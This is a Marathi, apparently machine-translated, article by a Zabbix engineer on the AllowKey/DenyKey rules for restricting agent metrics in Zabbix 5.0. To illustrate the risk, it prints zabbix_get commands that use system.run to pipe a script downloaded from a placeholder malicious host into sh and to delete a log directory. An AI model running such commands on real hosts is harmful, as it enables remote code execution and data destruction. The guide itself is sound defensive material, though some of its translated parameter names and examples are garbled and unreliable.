Zabbix 5.0 मध्ये एजंट-साइड मेट्रिक्ससाठी ब्लॅकलिस्ट आणि व्हाइटलिस्ट समर्थन

एजंट-साइड मेट्रिक्ससाठी ब्लॅकलिस्ट आणि व्हाइटलिस्ट समर्थन

टिखॉन उसकोव्ह, एकीकरण अभियंता, Zabbix

डेटा सुरक्षा समस्या

Zabbix 5.0 मध्ये नवीन वैशिष्ट्य आहे जे तुम्हाला Zabbix Agent वापरून सिस्टममध्ये सुरक्षा सुधारण्याची परवानगी देते आणि जुने पॅरामीटर बदलते रिमोट कमांड सक्षम करा.

एजंट-आधारित प्रणालींच्या सुरक्षेतील सुधारणा या वस्तुस्थितीमुळे उद्भवतात की एजंट मोठ्या प्रमाणात संभाव्य धोकादायक क्रिया करू शकतो.

• एजंट कॉन्फिगरेशन फाइल्स, लॉग फाइल्स, पासवर्ड फाइल्स किंवा इतर कोणत्याही फाइल्समधून गोपनीय किंवा संभाव्य धोकादायक माहितीसह जवळजवळ कोणतीही माहिती गोळा करू शकतो.

उदाहरणार्थ, zabbix_get युटिलिटी वापरून तुम्ही वापरकर्त्यांची यादी, त्यांच्या होम डिरेक्टरी, पासवर्ड फाइल्स इ.

zabbix_get युटिलिटी वापरून डेटा ऍक्सेस करणे

टीप. एजंटने संबंधित फाइलवर वाचण्याची परवानगी दिली असेल तरच डेटा पुनर्प्राप्त केला जाऊ शकतो. परंतु, उदाहरणार्थ, फाइल /etc/passwd/ सर्व वापरकर्त्यांद्वारे वाचनीय.

• एजंट संभाव्य धोकादायक आज्ञा देखील कार्यान्वित करू शकतो. उदाहरणार्थ, की *system.run[]** तुम्हाला नेटवर्क नोड्सवर कोणत्याही रिमोट कमांड कार्यान्वित करण्यास अनुमती देते, ज्यात Zabbix वेब इंटरफेसवरील स्क्रिप्ट चालवणे समाविष्ट आहे जे एजंटच्या बाजूने आदेश देखील कार्यान्वित करतात.

# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]

# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]

• लिनक्सवर, एजंट मूळ विशेषाधिकारांशिवाय डीफॉल्टनुसार चालतो, तर विंडोजवर तो सिस्टम म्हणून सेवा म्हणून चालतो आणि फाइल सिस्टममध्ये अप्रतिबंधित प्रवेश असतो. त्यानुसार, इन्स्टॉलेशननंतर Zabbix एजंट पॅरामीटर्समध्ये कोणतेही बदल न केल्यास, एजंटला रेजिस्ट्री, फाइल सिस्टममध्ये प्रवेश असतो आणि तो WMI क्वेरी कार्यान्वित करू शकतो.

पूर्वीच्या आवृत्त्यांमध्ये पॅरामीटर RemoteCommands सक्षम करा=0 फक्त की सह मेट्रिक्स अक्षम करण्याची परवानगी *system.run[]** आणि वेब इंटरफेसवरून स्क्रिप्ट चालवणे, परंतु वैयक्तिक फायलींवर प्रवेश प्रतिबंधित करण्याचा, एजंटसह स्थापित केलेल्या वैयक्तिक कींना परवानगी देण्याचा किंवा अक्षम करण्याचा किंवा वैयक्तिक पॅरामीटर्सचा वापर मर्यादित करण्याचा कोणताही मार्ग नव्हता.

Zabbix च्या पूर्वीच्या आवृत्त्यांमध्ये EnableRemoteCommand पॅरामीटर वापरणे

AllowKey/DenyKey

Zabbix 5.0 एजंटच्या बाजूने मेट्रिक्सला परवानगी देण्यासाठी आणि नाकारण्यासाठी श्वेतसूची आणि काळ्या सूची प्रदान करून अशा अनधिकृत प्रवेशापासून संरक्षण करण्यात मदत करते.

Zabbix 5.0 मध्ये सर्व की, यासह *system.run[]** सक्षम केले आहेत आणि दोन नवीन एजंट कॉन्फिगरेशन पर्याय जोडले गेले आहेत:

AllowKey= - परवानगी असलेले चेक;

DenyKey = - प्रतिबंधित चेक;

मेटाअॅरेक्टर्स (*) वापरणाऱ्या पॅरामीटर्ससह मुख्य नावाचा नमुना कुठे आहे.

AllowKey आणि DenyKey की तुम्हाला विशिष्ट पॅटर्नवर आधारित वैयक्तिक मेट्रिक्सना अनुमती देण्याची किंवा नाकारण्याची परवानगी देतात. इतर कॉन्फिगरेशन पॅरामीटर्सच्या विपरीत, AllowKey/DenyKey पॅरामीटर्सची संख्या मर्यादित नाही. हे आपल्याला चेकचे एक झाड तयार करून एजंट नेमके काय करू शकतो हे स्पष्टपणे परिभाषित करण्यास अनुमती देते - एक्झिक्युटेबल की, जिथे ते लिहिलेल्या क्रमाने खूप महत्त्वाची भूमिका बजावते.

नियमांचा क्रम

नियम ज्या क्रमाने कॉन्फिगरेशन फाइलमध्ये प्रविष्ट केले जातात त्या क्रमाने तपासले जातात. पहिल्या जुळणीपूर्वी नियमांनुसार की तपासली जाते आणि डेटा घटकाची की पॅटर्नशी जुळताच ती परवानगी किंवा नाकारली जाते. यानंतर, नियम तपासणे थांबते आणि उर्वरित कळांकडे दुर्लक्ष केले जाते.

म्हणून, जर एखादा घटक अनुमती आणि नकार या दोन्ही नियमांशी जुळत असेल, तर परिणाम कॉन्फिगरेशन फाइलमध्ये कोणता नियम प्रथम आहे यावर अवलंबून असेल.

समान नमुना आणि एक की सह 2 भिन्न नियम vfs.file.size[/tmp/file]

AllowKey/DenyKey की वापरण्याचा क्रम:

1. अचूक नियम,
2. सर्वसाधारण नियम,
3. प्रतिबंधात्मक नियम.

उदाहरणार्थ, जर तुम्हाला एखाद्या विशिष्ट फोल्डरमधील फायलींमध्ये प्रवेश हवा असेल, तर तुम्ही प्रथम त्यामध्ये प्रवेश करण्याची परवानगी दिली पाहिजे आणि नंतर स्थापित परवानग्यांमध्ये न येणारी प्रत्येक गोष्ट नाकारली पाहिजे. नकार नियम प्रथम वापरल्यास, फोल्डरमध्ये प्रवेश नाकारला जाईल.

योग्य क्रम

तुम्हाला 2 युटिलिटिजना * द्वारे चालवण्याची परवानगी हवी असल्यासsystem.run[]**, आणि नकार देणारा नियम प्रथम निर्दिष्ट केला जाईल, उपयुक्तता लॉन्च केल्या जाणार नाहीत, कारण पहिला नमुना नेहमी कोणत्याही कीशी जुळेल आणि त्यानंतरच्या नियमांकडे दुर्लक्ष केले जाईल.

चुकीचा क्रम

नमुने

मूलभूत नियम

नमुना वाइल्डकार्डसह एक अभिव्यक्ती आहे. मेटाकॅरेक्टर (*) विशिष्ट स्थानावरील कोणत्याही वर्णांच्या संख्येशी जुळतो. मेटाकॅरेक्टर्स मुख्य नावात आणि पॅरामीटर्समध्ये दोन्ही वापरले जाऊ शकतात. उदाहरणार्थ, तुम्ही मजकुरासह पहिले पॅरामीटर काटेकोरपणे परिभाषित करू शकता, आणि त्यानंतरचे वाइल्डकार्ड म्हणून निर्दिष्ट करा.

पॅरामीटर्स चौरस कंसात बंद केलेले असणे आवश्यक आहे [].

• system.run[* - चुकीचे
• vfs.file*.txt] - चुकीचे
• vfs.file.*[*] - बरोबर

वाइल्डकार्ड वापरण्याची उदाहरणे.

1. की नावात आणि पॅरामीटरमध्ये. या प्रकरणात, की पॅरामीटर नसलेल्या समान कीशी संबंधित नाही, कारण पॅटर्नमध्ये आम्ही सूचित केले आहे की आम्हाला की नावाचा एक विशिष्ट शेवट आणि पॅरामीटर्सचा विशिष्ट संच प्राप्त करायचा आहे.
2. जर पॅटर्न चौरस कंस वापरत नसेल, तर पॅरामीटर्स नसलेल्या सर्व की ला पॅटर्न परवानगी देतो आणि निर्दिष्ट पॅरामीटर असलेल्या सर्व की नाकारतो.
3. जर की पूर्ण लिहिली असेल आणि मापदंड वाइल्डकार्ड म्हणून निर्दिष्ट केले असतील, तर ती कोणत्याही पॅरामीटर्सशी समान की जुळेल आणि चौकोनी कंस शिवाय कीशी जुळणार नाही, म्हणजेच तिला परवानगी दिली जाईल किंवा नाकारली जाईल.

पॅरामीटर्स भरण्याचे नियम.

• पॅरामीटर्स असलेली की वापरायची असल्यास, पॅरामीटर्स कॉन्फिगरेशन फाइलमध्ये निर्दिष्ट करणे आवश्यक आहे. पॅरामीटर्स मेटाकॅरेक्टर म्हणून निर्दिष्ट करणे आवश्यक आहे. कोणत्याही फाईलमध्ये प्रवेश नाकारणे आणि विविध स्पेलिंग अंतर्गत मेट्रिक कोणती माहिती देऊ शकते ते विचारात घेणे आवश्यक आहे - पॅरामीटर्ससह आणि त्याशिवाय.

पॅरामीटर्ससह की लिहिण्याची वैशिष्ट्ये

• जर की पॅरामीटर्ससह निर्दिष्ट केली असेल, परंतु पॅरामीटर्स पर्यायी असतील आणि मेटाकॅरेक्टर म्हणून निर्दिष्ट केली असतील, तर पॅरामीटर नसलेली की सोडवली जाईल. उदाहरणार्थ, जर तुम्हाला CPU वरील लोडबद्दल माहिती प्राप्त करणे अक्षम करायचे असेल आणि निर्दिष्ट करा की system.cpu.load[*] की अक्षम केली जावी, तर हे विसरू नका की पॅरामीटर नसलेली की सरासरी लोड मूल्य परत करेल.

पॅरामीटर्स भरण्याचे नियम

नोट्स

समायोजन

• काही नियम वापरकर्त्याद्वारे बदलले जाऊ शकत नाहीत, उदाहरणार्थ, शोध नियम किंवा एजंट स्वयं-नोंदणी नियम. AllowKey/DenyKey नियम खालील पॅरामीटर्सवर परिणाम करत नाहीत:
  - होस्टनाव आयटम
  - होस्टमेटाडेटा आयटम
  - HostInterfaceItem

टीप. जर प्रशासकाने की अक्षम केली असेल, तेव्हा प्रश्न केला असता, Zabbix मेट्रिक किंवा की ' श्रेणीत का येते याबद्दल माहिती प्रदान करत नाहीसमर्थित नाही'. एजंट लॉग फाइल्समध्ये रिमोट कमांड कार्यान्वित करण्यावरील प्रतिबंधांबद्दल माहिती देखील प्रदर्शित केली जात नाही. हे सुरक्षेच्या कारणास्तव आहे, परंतु मेट्रिक्स काही कारणास्तव असमर्थित श्रेणीमध्ये आल्यास डीबगिंग क्लिष्ट होऊ शकते.

• तुम्ही बाह्य कॉन्फिगरेशन फाइल्स कनेक्ट करण्यासाठी कोणत्याही विशिष्ट ऑर्डरवर अवलंबून राहू नये (उदाहरणार्थ, वर्णक्रमानुसार).

कमांड लाइन युटिलिटीज

नियम सेट केल्यानंतर, आपण सर्वकाही योग्यरित्या कॉन्फिगर केले आहे याची खात्री करणे आवश्यक आहे.

आपण तीन पर्यायांपैकी एक वापरू शकता:

• Zabbix मध्ये एक मेट्रिक जोडा.
• सह चाचणी zabbix_agentd. पर्यायासह Zabbix एजंट -प्रिंट (-पी) कॉन्फिगरेशनद्वारे परवानगी नसलेल्या सर्व कळा (ज्याला डिफॉल्टनुसार परवानगी आहे) दाखवते. आणि पर्यायासह -चाचणी (-t) निषिद्ध की परत येईल'असमर्थित आयटम की'.
• सह चाचणी zabbix_get. उपयुक्तता zabbix_get पर्यायासह -k परत येईल 'ZBX_NOTSUPPORTED: अज्ञात मेट्रिक'.

परवानगी द्या किंवा नकार द्या

आपण फाइलमध्ये प्रवेश नाकारू शकता आणि सत्यापित करू शकता, उदाहरणार्थ, उपयुक्तता वापरून zabbix_getफाईलमध्ये प्रवेश नाकारला आहे.

**

टीप. पॅरामीटरमधील अवतरणांकडे दुर्लक्ष केले जाते.

या प्रकरणात, अशा फाइलमध्ये प्रवेश करण्याची परवानगी वेगळ्या मार्गाने दिली जाऊ शकते. उदाहरणार्थ, जर सिमलिंक त्याकडे नेत असेल.

निर्दिष्ट नियम लागू करण्यासाठी विविध पर्याय तपासण्याची शिफारस केली जाते आणि प्रतिबंधांना टाळण्याच्या शक्यता देखील विचारात घ्या.

प्रश्न आणि उत्तरे

आपला प्रश्न. नियम, परवानग्या आणि प्रतिबंध यांचे वर्णन करण्यासाठी स्वतःच्या भाषेसह इतका जटिल नमुना का निवडला गेला? उदाहरणार्थ, Zabbix वापरत असलेले रेग्युलर एक्सप्रेशन वापरणे का शक्य नव्हते?

उत्तर द्या. ही एक regex कार्यप्रदर्शन समस्या आहे कारण सामान्यतः एकच एजंट असतो आणि तो मोठ्या संख्येने मेट्रिक्स तपासतो. Regex हे खूप भारी ऑपरेशन आहे आणि आम्ही अशा प्रकारे हजारो मेट्रिक्स तपासू शकत नाही. वाइल्डकार्ड्स - एक सार्वत्रिक, मोठ्या प्रमाणावर वापरले जाणारे आणि सोपे उपाय.

आपला प्रश्न. इनक्लूड फाईल्स वर्णक्रमानुसार समाविष्ट नाहीत का?

उत्तर द्या. माझ्या माहितीनुसार, तुम्ही नियम वेगवेगळ्या फाइल्समध्ये पसरवल्यास कोणत्या क्रमाने नियम लागू होतील हे सांगणे अक्षरशः अशक्य आहे. मी एक समावेश फाइलमध्ये सर्व AllowKey/DenyKey नियम एकत्रित करण्याची शिफारस करतो, कारण ते एकमेकांशी संवाद साधतात आणि या फाइलसह.

आपला प्रश्न. Zabbix 5.0 मध्ये पर्याय 'RemoteCommands सक्षम करा=' कॉन्फिगरेशन फाइलमधून गहाळ आहे आणि फक्त AllowKey/DenyKey उपलब्ध आहेत?

उत्तर द्या. होय ते खरंय.

आपण लक्ष दिल्याबद्दल धन्यवाद!

स्त्रोत: www.habr.com